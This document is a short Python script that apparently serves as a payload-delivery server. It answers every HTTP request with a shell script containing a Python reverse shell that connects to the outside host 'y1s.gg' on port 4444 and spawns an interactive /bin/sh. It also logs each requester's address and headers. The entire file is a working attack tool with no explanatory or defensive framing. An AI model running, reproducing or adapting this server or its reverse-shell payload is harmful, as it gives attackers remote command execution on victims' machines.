#!/usr/bin/env python3 from http.server import BaseHTTPRequestHandler, HTTPServer import sys PAYLOAD = f"""#!/bin/sh python3 -c 'import socket,subprocess,os;s=socket.socket();s.connect(("y1s.gg",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])' """.encode() PORT = int(sys.argv[1]) if len(sys.argv) > 1 else 8080 class Handler(BaseHTTPRequestHandler): def handle_request(self): print(f"[+] {self.command} {self.path}") print(f" From: {self.client_address[0]}") for k, v in self.headers.items(): print(f" {k}: {v}") self.send_response(200) self.send_header("Content-Type", "text/plain") self.send_header("Content-Length", str(len(PAYLOAD))) self.end_headers() self.wfile.write(PAYLOAD) do_GET = do_POST = do_PUT = do_HEAD = handle_request def log_message(self, *args): pass # silence default logger print(f"[*] Listening on :{PORT}") HTTPServer(("0.0.0.0", PORT), Handler).serve_forever()